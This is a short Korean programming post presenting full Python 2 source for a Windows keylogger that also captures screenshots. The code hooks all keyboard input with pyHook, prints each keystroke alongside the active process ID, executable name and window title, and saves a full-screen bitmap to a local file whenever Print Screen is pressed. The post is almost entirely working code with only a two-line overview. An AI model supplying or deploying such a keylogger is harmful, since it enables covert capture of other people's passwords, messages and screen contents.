[Python] 키로거 + 스크린샷

1. 개요

 - 현재 포커스를 가지고 있는 프로세스를 파악

 - 키 다운 이벤트 발생한 버튼이 프린트스크린이면 전체 화면을 캡쳐한 후 파일로 저장

 

2. 코드

from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import win32gui
import win32ui
import win32con
import win32api

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi

current_window = None

def screenshot(): # win32API를 사용해서 전체 화면의 스크린샷을 파일로 만들어줌
    hdesktop = win32gui.GetDesktopWindow()

    width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
    height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
    left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
    top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

    desktop_dc = win32gui.GetWindowDC(hdesktop)
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)

    mem_dc = img_dc.CreateCompatibleDC()

    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)
    mem_dc.SelectObject(screenshot)

    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

    # 위에서 만든 비트맵을 여기서 파일로 저장해줌
    screenshot.SaveBitmapFile(mem_dc, 'C:\\Users\\HWAN\\Desktop\\test.bmp')

    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())


def get_current_process(): # 현재 활성화된 프로세스 정보를 얻어옴
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" *512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    print
    print "[PID : %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event): # 키다운 발생되었을 때 처리
    try:
        global current_window

        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()

        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            if event.Key == "Snapshot": # PrtSc 키 입력시 screenshot() 호출
                screenshot()   
            else:
                print "[%s]" % event.Key,
    except:
        None
    return True


#훅 매니저 등록
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

kl.HookKeyboard()
pythoncom.PumpMessages()